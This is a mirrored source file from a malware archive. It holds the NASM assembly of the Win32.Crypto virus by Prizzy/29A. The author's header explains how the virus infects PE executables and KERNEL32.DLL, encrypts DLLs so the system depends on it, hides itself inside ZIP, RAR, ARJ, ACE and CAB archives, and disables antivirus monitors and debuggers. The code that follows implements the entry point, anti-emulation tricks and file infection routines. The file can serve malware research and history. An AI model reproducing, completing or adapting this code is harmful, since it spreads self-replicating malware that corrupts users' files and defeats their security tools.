mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
8660 lines
230 KiB
NASM
8660 lines
230 KiB
NASM
|
;
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
|
|||
|
; : Prizzy/29A : Win32.Crypto : Prizzy/29A :
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;
|
|||
|
; I'm very proud on my very first virus at Win32 platform. It infects EXE
|
|||
|
; files with PE (Portable Executable) header. Also it can compress itself
|
|||
|
; into ZIP/ARJ/RAR/ACE/CAB archivez. If the virus catch DLL opeations, it
|
|||
|
; encrypt/decrypt that by cryptography functions. Thus, we can pronounce
|
|||
|
; the system is dependents on the virus (OneHalf idea).
|
|||
|
;
|
|||
|
; When infected EXE is started, it infects KERNEL32.DLL, hooks some Win32
|
|||
|
; functions and next reboot is actived. It catches "all" file operations,
|
|||
|
; create thread/mutex, run Hyper Infection for API to find archivez, AV
|
|||
|
; checksum files, EXEs and so on.
|
|||
|
;
|
|||
|
; If PHI-API will find an archive program, the virus compress itself and
|
|||
|
; add itself to body (inside, not at the end). My PPE-II does NOT support
|
|||
|
; copro & mmx garbages, only based with many features are new.
|
|||
|
;
|
|||
|
;
|
|||
|
; Detailed Information
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;
|
|||
|
;
|
|||
|
; Cryptography Area, based on WinAPI (SR2/NT) functions
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; Let us start. I exploited One Half technics for Win32 world, new method
|
|||
|
; in our VX world. You exactly know One Half tries to encode your sectors
|
|||
|
; and if you want to read its he decodes ones and so on, you exactly know
|
|||
|
; what I think. Well, and because I use kernel32 infection I can hook all
|
|||
|
; file functions. Then I decode all DLL files by PHI-II (Hyper Infection)
|
|||
|
; and if the system wants to open DLL file I decode one, and so on. Then,
|
|||
|
; the Win32 system is dependents on my virus. Naturally, the user can re-
|
|||
|
; install Win95/98/NT/2000 but then DLL are in MSOffice, Visual C++, ICQ,
|
|||
|
; Outlook, AutoCAD and many many more appz. For comparison: my Win98 has
|
|||
|
; 831 DLL files and on my all disks are 5103 DLL files (including Win2k).
|
|||
|
; I know this is the perfect way to get all what you want. But I've found
|
|||
|
; out I can't hook all Win32 file operations so, true crypto DLL will be
|
|||
|
; inside Ring0/Ring3 world - my future work...
|
|||
|
;
|
|||
|
;
|
|||
|
; Prizzy Polymorphic Engine (PPE-II new version)
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; I've removed all copro & mmx garbages and I've coded these new stuff:
|
|||
|
; * brute-attack algorithm
|
|||
|
; * random multi-layer engine
|
|||
|
; By "brute-attack" I'm finding right code value by checksum. And because
|
|||
|
; I don't know that number, AV neither. This process can take mostly 0.82
|
|||
|
; seconds on my P233. For more info find "ppe_brute_init:" in this source
|
|||
|
;
|
|||
|
; In the second case I don't decode by default (up to down) but by random
|
|||
|
; multi-layer algorithm. It means I generate the certain buffer and by
|
|||
|
; its I decode up or down. Thus I can generate more then 950 layers and
|
|||
|
; typical some 69 layers. Also the random buffer, behind poly loop, has
|
|||
|
; anti-heuristic protection (gaps) to AV couldn't simulate that process.
|
|||
|
; So, only in my decoding loop are stored the places where the gaps are.
|
|||
|
; Find "ppe_mlayer_generate:" label for many momre information.
|
|||
|
;
|
|||
|
;
|
|||
|
; Infection ZIP/ARJ/RAR/ACE/CAB archivez, including RAR/ACE EXE-SFX
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; I will find these archive programs and by them I will compress some in-
|
|||
|
; fected file by random compression level. Then the dropper is stored in-
|
|||
|
; side archive, not at the end. So, I don't need have any CRC algorithms.
|
|||
|
; However these operations are very complex, especially ZIP infection but
|
|||
|
; it isn't impossible. So, AV cannot check only last file (stored) in ar-
|
|||
|
; chive, but inside it.
|
|||
|
;
|
|||
|
;
|
|||
|
; Main features
|
|||
|
; <09><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;
|
|||
|
;
|
|||
|
; * Platforms: Windows 95/98, Windows NT/2000 (tested on 2031 build)
|
|||
|
; * Residency: Yes, KERNEL32 way, working on 95/98 and NT/2k systems
|
|||
|
; * Non-residency: Yes, only K32 infection
|
|||
|
; * Stealth: Yes, DLLs working; opening, copying and loading
|
|||
|
; * AntiDebugging: Yes, some stupid debuggers like TD32; routinues for
|
|||
|
; disable SoftICE 95/NT.
|
|||
|
; * AntiHeuristic: Yes, threads way and multi-layer anti-heuristic
|
|||
|
; * AntiAntivirus: Yes, deleting checksum files, hacking AVAST database
|
|||
|
; * Other anti-*: Yes, anti-emulator, anti-bait, anti-monitor
|
|||
|
; * Fast Infection: Yes/No, infect only 20 EXEs every reboot, but infect
|
|||
|
; all types of archivez on all diskz
|
|||
|
; * Polymomrphism: Yes, using based garbages from Win9x.Prizzy, inclu-
|
|||
|
; ding brute-force way and random multi-layer way
|
|||
|
; * Other features: (a) Use of brute-CRC64 algorithm to find APIs in K32
|
|||
|
; (b) Encoding and decoding DLLs in real time
|
|||
|
; (c) Memory allocations by "CreateFileMapping" func.
|
|||
|
; 'cause of sharing among processes
|
|||
|
; (d) Use of threads, mutexes & process tricks
|
|||
|
; (e) Support of "do not infected" table
|
|||
|
; (f) Checking files by natural logarithm
|
|||
|
; (g) No optimalization, yeah, I don't lie (read
|
|||
|
; "Words from Prizzy" 29A #4 to know why)
|
|||
|
; (h) UniCode support
|
|||
|
;
|
|||
|
;
|
|||
|
; Greetings
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;
|
|||
|
; And finally my greetz go to:
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; Darkman u're really great inet pal, thanx for fun on #virus :)
|
|||
|
; Benny thanx for big help with threads, mutexes... we're wait-
|
|||
|
; ing for Darkman's trip here, aren't we :) ?
|
|||
|
; GriYo nah, I'd like to understand your ideas... thanx :) !
|
|||
|
; Flush u've really big anti-* ideas, dude
|
|||
|
; MemoryLapse yeah, K32 infection... go out of efnet to undernet
|
|||
|
; LordJulus you have great vx articles, viruses ...
|
|||
|
; Asmodeus finish that virus and release it; thanx for your trust
|
|||
|
; AV companies just where is my win9x.prizzy description :) ?
|
|||
|
; ...and for VirusBuster and Bumblebee
|
|||
|
;
|
|||
|
;
|
|||
|
; Contact me
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; prizzy@coderz.net
|
|||
|
; http://prizzy.cjb.net
|
|||
|
;
|
|||
|
;
|
|||
|
; (c)oded by Prizzy/29A, December 1999
|
|||
|
;
|
|||
|
;
|
|||
|
|
|||
|
.386p
|
|||
|
.model flat,STDCALL
|
|||
|
|
|||
|
include Include\Win32API.inc
|
|||
|
include Include\UseFul.inc
|
|||
|
include Include\MZ.inc
|
|||
|
include Include\PE.inc
|
|||
|
|
|||
|
extrn ExitProcess:proc
|
|||
|
extrn MessageBoxA:proc
|
|||
|
|
|||
|
;<3B><>Ĵ prepare to program start <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
.data
|
|||
|
db ?
|
|||
|
.code
|
|||
|
|
|||
|
;<3B><>Ĵ some equ's needed by virus <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;DEBUG equ YEZ ;only for debug and 1st start
|
|||
|
|
|||
|
mem_size equ (mem_end -virus_start) ;size of virus in memory
|
|||
|
file_size equ (file_end-virus_start) ;size of virus in file
|
|||
|
|
|||
|
infect_minsize equ 4096 ;only filez bigger then 4K
|
|||
|
infect_maxsize equ 100*1024*1024 ;to 100Mb
|
|||
|
|
|||
|
access_ebx equ (dword ptr 16) ;access into stack when
|
|||
|
access_edx equ (dword ptr 20) ;will be used pushad
|
|||
|
access_ecx equ (dword ptr 24)
|
|||
|
access_eax equ (dword ptr 28)
|
|||
|
|
|||
|
search_mem_size equ 100*(size dta+size search_address)
|
|||
|
|
|||
|
;<3B><>Ĵ some structurez for virus <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
dta_struc struc ;Win32_FIND_DATA structure
|
|||
|
dta_fileattr dd ? ;for FindFirstFile function
|
|||
|
dta_time_creation dq ?
|
|||
|
dta_time_lastaccess dq ?
|
|||
|
dta_time_lastwrite dq ?
|
|||
|
dta_filesize_hi dd ?
|
|||
|
dta_filesize dd ?
|
|||
|
dta_reserved_0 dd ?
|
|||
|
dta_reserved_1 dd ?
|
|||
|
dta_filename db 260 dup (?)
|
|||
|
dta_filename_short db 14 dup (?)
|
|||
|
ends
|
|||
|
|
|||
|
sysTime_struc struc ;used by my Windows API
|
|||
|
wYear dw 0000h ;"hyper infection"
|
|||
|
wMonth dw 0000h
|
|||
|
wDayOfWeek dw 0000h
|
|||
|
wDay dw 0000h
|
|||
|
wHour dw 0000h
|
|||
|
wMinute dw 0000h
|
|||
|
wSecond dw 0000h
|
|||
|
wMilliseconds dw 0000h
|
|||
|
ends
|
|||
|
|
|||
|
Process_Information struc ;CreateProcess: struc #1
|
|||
|
hProcess dd 00000000h
|
|||
|
hThread dd 00000000h
|
|||
|
dwProcessId dd 00000000h
|
|||
|
dwThreadId dd 00000000h
|
|||
|
ends
|
|||
|
|
|||
|
Startup_Info struc ;CreateProcess: struc #2
|
|||
|
cb dd 00000000h
|
|||
|
lpReserved dd 00000000h ;this struc has been stolen
|
|||
|
lpDesktop dd 00000000h ;from "Win32 Help"
|
|||
|
lpTitle dd 00000000h
|
|||
|
dwX dd 00000000h
|
|||
|
dwY dd 00000000h
|
|||
|
dwXSize dd 00000000h
|
|||
|
dwYSize dd 00000000h
|
|||
|
dwXCountChars dd 00000000h
|
|||
|
dwYCountChars dd 00000000h
|
|||
|
dwFillAttribute dd 00000000h
|
|||
|
dwFlags dd 00000000h
|
|||
|
wShowWindow dw 0000h
|
|||
|
cbReserved2 dw 0000h
|
|||
|
lpReserved2 dd 00000000h
|
|||
|
hStdInput dd 00000000h
|
|||
|
hStdOutput dd 00000000h
|
|||
|
hStdError dd 00000000h
|
|||
|
ends
|
|||
|
|
|||
|
File_Time struc ;get/set file time struc
|
|||
|
dwLowDateTime dd 00000000h
|
|||
|
dwHighDateTime dd 00000000h
|
|||
|
ends
|
|||
|
|
|||
|
;<3B><>Ĵ some macroz needed by virus <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
; search "anti-emulators:" for more information
|
|||
|
|
|||
|
@ANTI_E_START macro start_hack, finish_hack
|
|||
|
WHILE (num NE 0)
|
|||
|
push dword ptr [ebp+start_hack + \
|
|||
|
((finish_hack-start_hack) / 4 + 1 - num) * 4]
|
|||
|
num = num - 1
|
|||
|
endm
|
|||
|
num = (finish_hack - start_hack) / 4 + 1
|
|||
|
endm
|
|||
|
|
|||
|
@ANTI_E_FINISH macro start_hack, finish_hack, thread_handle
|
|||
|
WHILE (num NE 0)
|
|||
|
pop dword ptr [ebp+finish_hack - \
|
|||
|
(finish_hack-start_hack) mod 4 - \
|
|||
|
((finish_hack-start_hack) / 4 + 1 - num) * 4]
|
|||
|
num = num - 1
|
|||
|
endm
|
|||
|
call [ebp+ddCloseHandle], thread_handle
|
|||
|
num = (finish_hack - start_hack) / 4 + 1
|
|||
|
endm
|
|||
|
|
|||
|
;<3B><>Ĵ virus code starts here <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
virus_start:
|
|||
|
|
|||
|
call get_base_ebp ;get actual address to EBP
|
|||
|
|
|||
|
mov eax,ebp
|
|||
|
db 2Dh ;sub eax,infected_ep
|
|||
|
infected_ep: dd 00001000h
|
|||
|
db 05h ;add eax,original_ep
|
|||
|
original_ep: dd 00000000
|
|||
|
sub eax,[ebp+__pllg_lsize]
|
|||
|
push eax ;host address
|
|||
|
|
|||
|
; use anti-emulator
|
|||
|
pusha
|
|||
|
@SEH_SetupFrame <jmp __anti_e_1>;set SEH handler
|
|||
|
call $ ;ehm :)
|
|||
|
jmp __return
|
|||
|
__anti_e_1:
|
|||
|
@SEH_RemoveFrame ;reset SEH handler
|
|||
|
popa
|
|||
|
|
|||
|
call find_kernel32 ;find kernel's base address
|
|||
|
|
|||
|
; use anti-emulator
|
|||
|
@ANTI_E_START __thread_1_begin, __thread_1_finish
|
|||
|
lea eax,[ebp+__thread_1] ;thread function
|
|||
|
mov ebx,offset __thread_1_begin + \
|
|||
|
(__thread_1_finish - __thread_1_begin) \
|
|||
|
shl 18h ;upper imm8 register in EBX
|
|||
|
call __MyCreateThread ; * anti-heuristic
|
|||
|
__thread_1_begin equ this byte
|
|||
|
jmp $ ;anti-emulator :)
|
|||
|
jmp __return ;patch this ! random number
|
|||
|
__thread_1_finish equ this byte
|
|||
|
@ANTI_E_FINISH __thread_1_begin, __thread_1_finish, eax
|
|||
|
|
|||
|
; next code...
|
|||
|
call kill_av_monitors ;kill AVP, AVAST32 etc.
|
|||
|
call kill_debuggers ;bye, bye SoftICE, my honey
|
|||
|
call create_mutex ;already resident ?
|
|||
|
jc __return ;go back, if yes
|
|||
|
call crypto_startup
|
|||
|
call infect_kernel ;ehm, find kernel and infect!
|
|||
|
|
|||
|
__return:
|
|||
|
pop eax
|
|||
|
add eax,offset virus_start
|
|||
|
jmp eax ;go back, my lord...
|
|||
|
|
|||
|
;<3B><>Ĵ main function for infect file <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This is main function which infects file.
|
|||
|
;
|
|||
|
;Extension support:
|
|||
|
; EXE ... executable file (PE), RAR/ACE SFX file
|
|||
|
; DLL ... kernel32 infection, encypting through PHI-API
|
|||
|
; CAB ... infecting Microsoft Cabinet File
|
|||
|
; ZIP/ARJ/RAR/ACE ... dropper compressed,inside archive
|
|||
|
;
|
|||
|
;Okay, here is truth. I had many problems with EXE and DLL
|
|||
|
;infection in this function. I found out all valuez have
|
|||
|
;to be aligned etc. Especially Win2k need that. I also use
|
|||
|
;"CheckSumMappedFile" function to calculate appz checksum.
|
|||
|
;
|
|||
|
infect_file:
|
|||
|
|
|||
|
; save registers & get delta
|
|||
|
pusha
|
|||
|
call get_base_ebp
|
|||
|
|
|||
|
; get extension
|
|||
|
mov edi,[ebp+filename_ptr]
|
|||
|
|
|||
|
; convert lowercase characters to uppercase
|
|||
|
push edi
|
|||
|
call [ebp+ddlstrlen] ;get length of filename
|
|||
|
inc eax ;number of characters to
|
|||
|
push eax ;progress
|
|||
|
push edi ;filename
|
|||
|
call [ebp+ddCharUpperBuffA] ;convert to uppercase
|
|||
|
|
|||
|
; infect only files in these dirz
|
|||
|
IFDEF DEBUG
|
|||
|
cmp [edi+00000000h],'W\:C' ;"C:\WIN\WEWB4\XX\"
|
|||
|
jnz __if_debug ;directory
|
|||
|
cmp [edi+00000004h],'W\NI'
|
|||
|
jnz __if_debug
|
|||
|
cmp [edi+00000008h],'4BWE'
|
|||
|
jnz __if_debug
|
|||
|
cmp [edi+0000000Ch],'\XX\'
|
|||
|
jz __if_debug2
|
|||
|
__if_debug:
|
|||
|
cmp [edi],'W\:C' ;"C:\WINDOWS\KERN"
|
|||
|
jnz infect_file_exit
|
|||
|
cmp [edi+4],'ODNI'
|
|||
|
jnz infect_file_exit
|
|||
|
cmp [edi+8],'K\SW'
|
|||
|
jnz infect_file_exit
|
|||
|
cmp [edi+8+4],'ENRE'
|
|||
|
jnz infect_file_exit
|
|||
|
__if_debug2:
|
|||
|
ENDIF
|
|||
|
|
|||
|
; check file name (by avoid table)
|
|||
|
mov ebx,[ebp+filename_ptr] ;filename
|
|||
|
lea esi,[ebp+avoid_table] ;avoid table
|
|||
|
call validate_name
|
|||
|
jc infect_file_exit
|
|||
|
|
|||
|
; check AV files (anti-bait)
|
|||
|
call fuck_av_files
|
|||
|
jc infect_file_exit
|
|||
|
|
|||
|
; get extension
|
|||
|
cld
|
|||
|
mov al,'.' ;search this char
|
|||
|
mov cx,filename_size ;max filename_size
|
|||
|
repnz scasb ;searching...
|
|||
|
dec edi ;set to that char
|
|||
|
cmp al,[edi] ;check again !
|
|||
|
jnz infect_file_exit ;shit, bad last char
|
|||
|
|
|||
|
IFDEF DEBUG
|
|||
|
mov eax,[edi-4] ;you can infect only
|
|||
|
cmp eax,'23LE'
|
|||
|
jz __OnlyMyKernel
|
|||
|
cmp eax,'DCBA' ;this file on my disk
|
|||
|
jnz infect_file_exit ;i won't risk
|
|||
|
__OnlyMyKernel:
|
|||
|
ENDIF
|
|||
|
; get file information
|
|||
|
lea esi,[ebp+dta] ;dta structure
|
|||
|
mov edx,[ebp+filename_ptr] ;FileName pointer
|
|||
|
call __MyFindFirst
|
|||
|
jc infect_file_exit ;success ?
|
|||
|
call __MyFindClose ;close handle
|
|||
|
|
|||
|
cmp dword ptr [ebp+it_is_kernel],00000001h
|
|||
|
jz infect_file_continue ;if kernel32, infect it
|
|||
|
|
|||
|
; check extension
|
|||
|
mov eax,[edi] ;get ext of file
|
|||
|
not eax
|
|||
|
cmp eax,not 'EXE.' ;is it EXE file ?
|
|||
|
jnz next_ext_1
|
|||
|
call infect_ACE_RAR ;is it ACE/RAR EXE-SFX file ?
|
|||
|
jnc infect_file_exit
|
|||
|
jmp next_ext_end
|
|||
|
next_ext_1:
|
|||
|
cmp eax,not 'ECA.' ;is it ACE archive file ?
|
|||
|
jnz next_ext_2
|
|||
|
call infect_ACE
|
|||
|
next_ext_2:
|
|||
|
cmp eax,not 'RAR.' ;is it RAR archive file ?
|
|||
|
jnz next_ext_3
|
|||
|
call infect_RAR
|
|||
|
next_ext_3:
|
|||
|
cmp eax,not 'JRA.' ;is it ARJ archive file ?
|
|||
|
jnz next_ext_4
|
|||
|
call infect_ARJ
|
|||
|
next_ext_4:
|
|||
|
cmp eax,not 'PIZ.' ;is it ZIP archive file ?
|
|||
|
jnz next_ext_5
|
|||
|
call infect_ZIP
|
|||
|
next_ext_5:
|
|||
|
cmp eax,not 'BAC.' ;is it CAB archive file ?
|
|||
|
jnz infect_file_exit
|
|||
|
call infect_CAB
|
|||
|
jmp infect_file_exit
|
|||
|
next_ext_end: ;infect if any EXE file
|
|||
|
|
|||
|
; check number of infected files
|
|||
|
cmp [ebp+NewACE.dropper],00000000h
|
|||
|
jz infect_file_continue ;dropper exists ?
|
|||
|
cmp dword ptr [ebp+file_infected],20
|
|||
|
jae infect_file_exit ;infected more then 20 EXEs ?
|
|||
|
|
|||
|
; check file size
|
|||
|
infect_file_continue:
|
|||
|
mov eax,[ebp+dta.dta_filesize]
|
|||
|
cmp eax,infect_minsize ;is filesize smaller ?
|
|||
|
jb infect_file_exit
|
|||
|
cmp eax,infect_maxsize ;is filesize bigger ?
|
|||
|
ja infect_file_exit
|
|||
|
|
|||
|
; set file attributes
|
|||
|
mov ecx,FILE_ATTRIBUTE_NORMAL
|
|||
|
mov edx,[ebp+filename_ptr]
|
|||
|
call __MySetAttrFile
|
|||
|
jc infect_file_exit ;success ?
|
|||
|
|
|||
|
; open file
|
|||
|
mov edx,[ebp+filename_ptr]
|
|||
|
call __MyOpenFile ;open file !
|
|||
|
jc infect_file_restattr
|
|||
|
mov [ebp+file_handle],eax
|
|||
|
|
|||
|
; create a memory map object
|
|||
|
push 00000000h ;name of file mapping object
|
|||
|
push 00000000h ;low 32 bits of object size
|
|||
|
push 00000000h ;high 32 bits of object size
|
|||
|
push PAGE_READONLY ;get needed valuez, etc.
|
|||
|
push 00000000h ;optional security attributes
|
|||
|
push [ebp+file_handle] ;handle to file to map
|
|||
|
call [ebp+ddCreateFileMappingA]
|
|||
|
or eax,eax ;failed ?
|
|||
|
jz infect_file_close
|
|||
|
mov [ebp+file_hmap],eax ;store mapped file handle
|
|||
|
|
|||
|
; view of file in our address
|
|||
|
push 00000000h ;number of bytes to map
|
|||
|
push 00000000h ;low 32 bits of the offset
|
|||
|
push 00000000h ;high 32 bits of the offset
|
|||
|
push FILE_MAP_READ ;access mode
|
|||
|
push [ebp+file_hmap] ;mapped file handle
|
|||
|
call [ebp+ddMapViewOfFile]
|
|||
|
or eax,eax ;failed ?
|
|||
|
jz infect_file_closeMap
|
|||
|
mov [ebp+file_hmem],eax ;mapped file in memory
|
|||
|
|
|||
|
; check file signature
|
|||
|
cmp word ptr [eax.MZ_magic], \
|
|||
|
IMAGE_DOS_SIGNATURE ;test 'MZ'
|
|||
|
jnz infect_file_unMap
|
|||
|
|
|||
|
; check "PE" valuez
|
|||
|
cmp word ptr [eax.MZ_crlc],0000h
|
|||
|
jz infect_file_okay ;no PE ?
|
|||
|
cmp word ptr [eax.MZ_lfarlc],0040h
|
|||
|
jb infect_file_unMap ;bad PE ?
|
|||
|
|
|||
|
infect_file_okay:
|
|||
|
; seek on NT header
|
|||
|
mov esi,eax
|
|||
|
add esi,[eax.MZ_lfanew]
|
|||
|
push esi
|
|||
|
call [ebp+ddIsBadCodePtr] ;can we read memory at least?
|
|||
|
or eax,eax
|
|||
|
jnz infect_file_unMap
|
|||
|
|
|||
|
; check "PE" signature
|
|||
|
cmp dword ptr [esi.NT_Signature], \
|
|||
|
IMAGE_NT_SIGNATURE
|
|||
|
jnz infect_file_unMap ;is it really 'PE\0\0' ?
|
|||
|
|
|||
|
; already infected ?
|
|||
|
mov eax,[ebp+file_hmem] ;mapped file in memory
|
|||
|
add eax,[ebp+dta.dta_filesize]
|
|||
|
mov eax,[eax-00000004h] ;infected dword flag
|
|||
|
call __check_infected
|
|||
|
jnc infect_file_unMap
|
|||
|
|
|||
|
; check header flags
|
|||
|
mov ax,[esi+NT_FileHeader.FH_Characteristics]
|
|||
|
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
|
|||
|
jz infect_file_unMap
|
|||
|
test ax,IMAGE_FILE_DLL ;no DLL ?
|
|||
|
jz infect_file_no_dll
|
|||
|
cmp dword ptr [ebp+it_is_kernel],00000000h
|
|||
|
